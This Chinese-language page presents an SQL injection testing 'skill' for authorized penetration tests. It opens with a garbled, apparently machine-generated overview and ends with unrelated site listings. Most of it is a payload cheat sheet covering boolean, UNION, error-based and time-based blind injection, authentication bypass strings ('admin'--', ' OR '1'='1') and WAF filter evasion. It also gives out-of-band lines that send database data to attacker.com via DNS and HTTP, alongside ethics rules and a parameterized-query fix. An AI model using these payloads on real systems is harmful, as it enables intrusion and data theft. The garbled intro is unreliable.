执行授权安全测试,检测、利用并验证Web应用程序中的SQL注入漏洞防御。
SQL 注射测试
功能概述
SQL 注射测试是一项面向实际任务的技能,主要用于网络应用综合SQL注入脆弱性评估技术, 包括检测、开发、和防御验证;Description:1.;
核心要点
- Ohen:1.;
- Testin。
- 它将相关步骤、工具调用和结果整理方式集中到统一流程中,帮助使用者更快完成目标并减少重复操作。
使用与执行
使用时应结合输入条件选择合适的执行方式,核对必要参数、依赖环境与输出内容,并按原始要求处理异常情况。该技能适合需要稳定复用相关能力的场景,可作为自动化工作流的一部分,也便于后续检查、调整和扩展。从功能定位来看,该技能强调把分散的操作要求整理成清晰、可复用的处理流程,使用户能够围绕既定目标快速准备输入、选择执行方式并获得结构化结果。
结果检查与注意事项
实际使用前应先确认任务范围、数据来源、运行环境、必要权限和关键参数,再依据技能说明逐步执行;若输入条件不完整,应先补齐信息或采用保守配置,避免因错误假设导致结果偏离需求。执行过程中需要关注工具调用是否成功、接口或依赖是否可用、输出格式是否符合预期,并对异常提示、缺失字段和边界情况进行处理;涉及批量任务时,还应保存进度,避免中断后重复操作。
SQL 注入测试
面向 Web 应用程序的全面 SQL 注入漏洞评估技术,涵盖检测、利用与防御有效性验证。
说明
适用场景:
- 测试 SQL 注入漏洞
- 执行已获授权的渗透测试
- 验证输入净化机制的有效性
- 为安全测试绕过身份认证
- 提取数据库信息(仅限已获授权)
- 学习 SQL 注入防御方法
禁止使用场景:
- 未获得书面授权即开展测试
- 在承载真实用户数据的生产系统上进行测试
- 测试意图具有恶意性质(切勿作恶)
⚠️ 法律要求:使用前必须取得书面形式的渗透测试授权。
检测阶段
注入点识别
常见可注入参数:
URL 参数: ?id=1, ?user=admin, ?category=books 表单字段: username, password, search, comments Cookie: session_id, user_preference HTTP 请求头: User-Agent, Referer, X-Forwarded-For
基础漏洞测试
-- 单引号测试 ' -- 双引号测试 " -- 注释序列 -- # /**/ -- 分号用于查询堆叠 ;
需关注现象:
- 数据库错误信息
- HTTP 500 错误
- 响应内容或长度异常变化
- 非预期的行为变更
布尔逻辑测试
-- 真值条件(应返回数据) page.asp?id=1 or 1=1 page.asp?id=1' or 1=1-- page.asp?id=1" or 1=1-- -- 假值条件(应无返回或报错) page.asp?id=1 and 1=2 page.asp?id=1' and 1=2--
对比真/假条件下的响应差异,以确认注入是否成功。
利用技术
基于 UNION 的数据提取
-- 步骤 1:确定列数 ORDER BY 1-- ORDER BY 2-- ORDER BY 3-- -- 持续递增直至出现错误 -- 步骤 2:定位可显示列 UNION SELECT NULL,NULL,NULL-- UNION SELECT 'a',NULL,NULL-- UNION SELECT NULL,'a',NULL-- -- 步骤 3:提取数据 UNION SELECT username,password,NULL FROM users-- UNION SELECT table_name,NULL,NULL FROM information_schema.tables-- UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
基于错误的信息提取
-- MSSQL 1' AND 1=CONVERT(int,(SELECT @@version))-- -- MySQL(XPATH) 1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -- PostgreSQL 1' AND 1=CAST((SELECT version()) AS int)--
基于布尔逻辑的盲注
-- 字符逐位提取 1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- 1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'-- -- 条件响应判断 1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
基于时间的盲注
-- MySQL 1' AND IF(1=1,SLEEP(5),0)-- 1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)-- -- MSSQL 1'; WAITFOR DELAY '0:0:5'-- -- PostgreSQL 1'; SELECT pg_sleep(5)--
带外信道(OOB)利用
-- MSSQL DNS 数据回传
1; EXEC master..xp_dirtree '\attacker-server.comshare'--
-- MySQL DNS
1' UNION SELECT LOAD_FILE(CONCAT('\\',@@version,'.attacker.com\a'))--
-- Oracle HTTP 回传
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
身份认证绕过
-- 经典绕过载荷
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--
-- 查询语句变形示例
-- 原始语句:SELECT * FROM users WHERE username='input' AND password='input'
-- 注入后(用户名输入 admin'--):
-- SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- 密码校验被绕过!
过滤绕过技术
字符编码
-- URL 编码 %27 (单引号) %22 (双引号) %23 (井号) -- 双重 URL 编码 %2527 (单引号) -- 十六进制字符串(MySQL) SELECT * FROM users WHERE name=0x61646D696E -- 'admin'
空白符替代方案
-- 使用注释替代空格 SELECT/**/username/**/FROM/**/users -- 制表符(Tab) SELECT%09username%09FROM%09users -- 换行符 SELECT%0Ausername%0AFROM%0Ausers
关键字规避
-- 大小写混用 SeLeCt, sElEcT, SELECT -- 内联注释插入 SEL/*bypass*/ECT UN/*bypass*/ION -- 重复书写(适用于仅过滤一次的场景) SELSELECTECT → SELECT UNUNIONION → UNION
数据库指纹识别
| 数据库 | 版本查询语句 |
|---|---|
| MySQL | SELECT @@version 或 SELECT version() |
| MSSQL | SELECT @@version |
| PostgreSQL | SELECT version() |
| Oracle | SELECT banner FROM v$version |
| SQLite | SELECT sqlite_version() |
信息模式查询
-- MySQL/MSSQL:列出表名 SELECT table_name FROM information_schema.tables WHERE table_schema=database() -- 列出字段名 SELECT column_name FROM information_schema.columns WHERE table_name='users' -- Oracle 等效语句 SELECT table_name FROM all_tables SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
速查参考
| 用途 | 载荷 |
|---|---|
| 基础测试 | ' 或 " |
| 布尔真值 | OR 1=1-- |
| 布尔假值 | AND 1=2-- |
| 注释(MySQL) | # 或 -- |
| 注释(MSSQL) | -- |
| UNION 探测 | UNION SELECT NULL-- |
| 时间延迟 | AND SLEEP(5)-- |
| 认证绕过 | ' OR '1'='1 |
检测测试流程
1. 插入 ' → 检查是否报错 2. 插入 " → 检查是否报错 3. 尝试:OR 1=1-- → 检查行为是否变化 4. 尝试:AND 1=2-- → 检查行为是否变化 5. 尝试:' WAITFOR DELAY '0:0:5'-- → 检查是否存在延迟
防护措施(代码审查要点)
❌ 存在漏洞
const query = `SELECT * FROM users WHERE id = '${userId}'`;
✅ 安全做法
// 使用参数化查询
const query = 'SELECT * FROM users WHERE id = $1';
const result = await db.query(query, [userId]);
// 或使用 ORM
const user = await prisma.user.findUnique({ where: { id: userId } });
工具
- SQLMap:自动化 SQL 注入工具
- Burp Suite:HTTP 请求操控与分析工具
- OWASP ZAP:Web 应用程序安全扫描器
- Havij:SQL 注入辅助工具
故障排查
| 问题 | 解决方案 |
|---|---|
| 未返回错误信息 | 改用盲注技术(布尔型或时间型) |
| UNION 查询失败 | 使用 ORDER BY 确认目标列数 |
| 被 WAF 拦截 | 采用编码或规避技术 |
| 载荷未执行 | 核实当前数据库类型所支持的注释语法 |
| 时间型盲注响应不稳定 | 延长延迟时间(建议 ≥10 秒) |
道德规范
- 未经明确书面授权,严禁执行破坏性操作(如 DROP、DELETE 等)
- 数据提取范围应严格限制于概念验证所需最小量级
- 一旦发现生产环境中的真实用户数据,须立即中止测试
- 关键漏洞须通过双方约定的正式渠道及时上报
- 完整记录所有测试活动,确保可追溯、可审计
热门AI工具
相关专题
本专题聚焦Go-Zero的API开发,拆解.api描述文件的语法结构、路由与分组定义、参数绑定与校验规则,说明统一响应体、JWT鉴权、跨域与接口文档生成的落地方式,并给出网关聚合与接口测试的实践建议。
0
2026.11.12
本专题围绕Go-Zero的安装与工具链配置展开,讲清Go版本要求、goctl安装方式、代理镜像、protoc依赖与环境变量设置,说明多版本共存、升级回退与CI流水线安装的做法,并整理安装阶段的常见报错与验证步骤。
0
2026.11.12
本专题整理Go-Zero的入门知识,从框架定位、环境准备到跑通第一个API服务,讲清目录分层、配置加载、日志与中间件的基本用法,并对比Gin、Kratos的差异,帮助Go开发者建立整体认知,判断它是否适合当前项目。
0
2026.11.12
本专题从实际API接口调试场景出发,讲解Postman身份认证的完整配置流程,包括常见认证协议介绍、授权参数设置、访问令牌填写、OAuth 2.0授权及认证失败排查,帮助用户正确完成接口授权与访问验证。
0
2026.11.06
围绕Postman HTTP请求头配置展开,讲解Headers选项的具体使用方式,包括Key和Value参数填写、请求头信息添加、常见Header字段设置及请求头修改方法,帮助用户解决接口调试过程中遇到的请求头配置问题。
0
2026.11.06
详细介绍Postman接口请求的创建与发送方法,涵盖GET和POST请求、URL配置、请求参数、Headers请求头、Body请求体设置以及响应结果查看,帮助用户掌握Postman接口请求的完整操作流程。
0
2026.11.06
DBeaver数据导入专题,整理Excel、CSV、SQL、TXT等常见文件的数据导入方法,涵盖目标数据库选择、数据表创建、字段映射、数据类型设置及导入参数配置等操作,帮助用户将本地文件中的数据写入数据库,并了解批量导入、重复数据处理和导入失败等常见问题的解决方法。
0
2026.11.05
DBeaver安全防护专题,围绕数据库连接安全、账号密码保护和访问权限管理展开,整理SSL/TLS加密连接、SSH隧道、数据库凭据保存及证书验证等配置方法,同时介绍敏感信息保护、远程连接风险和高权限账号使用等注意事项,帮助用户提高数据库日常管理的安全性。
0
2026.11.05
本专题聚焦DBeaver数据库连接配置与管理,覆盖从新建连接、选择数据库类型到填写连接参数和验证连接的完整流程。针对MySQL、PostgreSQL、SQL Server等常见数据库,整理相应的连接设置方法,并提供驱动缺失、认证失败和连接异常等问题的排查方向。
0
2026.11.04
热门下载
相关下载
精品课程
共6课时 | 12.1万人学习
共79课时 | 161.8万人学习
共6课时 | 54.7万人学习
最新文章